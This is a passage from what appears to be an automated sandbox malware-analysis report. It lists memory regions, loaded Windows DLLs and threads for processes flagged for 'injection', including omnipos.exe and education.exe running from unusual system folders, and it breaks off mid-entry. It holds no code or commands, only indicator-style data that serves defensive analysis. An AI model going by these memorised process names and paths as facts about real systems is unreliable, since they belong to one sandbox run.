0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 3423 start_va = 0x890000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 3424 start_va = 0xa20000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 3425 start_va = 0xcb0000 end_va = 0xcc6fff monitored = 0 entry_point = 0xcb14a1 region_type = mapped_file name = "creditservice.exe" filename = "\\Program Files\\Windows Journal\\creditservice.exe" (normalized: "c:\\program files\\windows journal\\creditservice.exe") Region: id = 3426 start_va = 0xcd0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cd0000" filename = "" Region: id = 3427 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 3428 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 3429 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3430 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3431 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3432 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3433 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3434 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3435 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3436 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3437 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3438 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3439 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3440 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3441 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3442 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3443 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3444 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3445 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3446 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3447 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3448 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3449 start_va = 0x7f0b0000 end_va = 0x7f1affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f0b0000" filename = "" Region: id = 3450 start_va = 0x7f1b0000 end_va = 0x7f1d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f1b0000" filename = "" Region: id = 3451 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3452 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3453 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3454 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3503 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3504 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 3505 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3506 start_va = 0x4d0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3507 start_va = 0x790000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 3508 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3509 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3510 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 3511 start_va = 0xbb0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 3512 start_va = 0x2280000 end_va = 0x25b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 279 os_tid = 0xfe4 Thread: id = 280 os_tid = 0xfc8 Thread: id = 355 os_tid = 0x1178 Process: id = "69" image_name = "omnipos.exe" filename = "c:\\program files\\windowspowershell\\omnipos.exe" page_root = "0x6a186000" os_pid = "0x438" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\WindowsPowerShell\\omnipos.exe\" " cur_dir = "C:\\Program Files\\WindowsPowerShell\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6160 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6161 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6162 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6163 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6164 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6165 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6166 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6167 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6168 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6169 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6170 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6171 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 6172 start_va = 0x740000 end_va = 0x743fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 6173 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 6174 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 6175 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6176 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 6177 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 6178 start_va = 0xc50000 end_va = 0xd0bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 6179 start_va = 0xd10000 end_va = 0xd26fff monitored = 0 entry_point = 0xd114a1 region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files\\WindowsPowerShell\\omnipos.exe" (normalized: "c:\\program files\\windowspowershell\\omnipos.exe") Region: id = 6180 start_va = 0xd30000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 6181 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 6182 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6183 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6184 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6185 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6186 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6187 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6188 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6189 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6190 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6191 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6192 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6193 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6194 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6195 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6196 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6197 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6198 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6199 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6200 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6201 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6202 start_va = 0x7fd20000 end_va = 0x7fe1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fd20000" filename = "" Region: id = 6203 start_va = 0x7fe20000 end_va = 0x7fe42fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fe20000" filename = "" Region: id = 6204 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6205 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6206 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6207 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 281 os_tid = 0x9b0 Thread: id = 282 os_tid = 0x908 Process: id = "70" image_name = "education.exe" filename = "c:\\program files (x86)\\windows sidebar\\education.exe" page_root = "0x6adac000" os_pid = "0x101c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Sidebar\\education.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Sidebar\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2915 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2916 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2917 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2918 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2919 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2920 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2921 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2922 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2923 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2924 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2925 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2926 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 2927 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 2928 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2929 start_va = 0x500000 end_va = 0x504fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 2930 start_va = 0x510000 end_va = 0x513fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2931 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2932 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2933 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2934 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 2935 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2936 start_va = 0x940000 end_va = 0x9fbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 2937 start_va = 0xa10000 end_va = 0xa26fff monitored = 0 entry_point = 0xa114a1 region_type = mapped_file name = "education.exe" filename = "\\Program Files (x86)\\Windows Sidebar\\education.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\education.exe") Region: id = 2938 start_va = 0xa30000 end_va = 0xbb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 2939 start_va = 0xbc0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bc0000" filename = "" Region: id = 2940 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 2941 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2942 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2943 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2944 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2945 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2946 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2947 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2948 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2949 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2950 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2951 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2952 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2953 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2954 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2955 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2956 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2957 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2958 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2959 start_va = 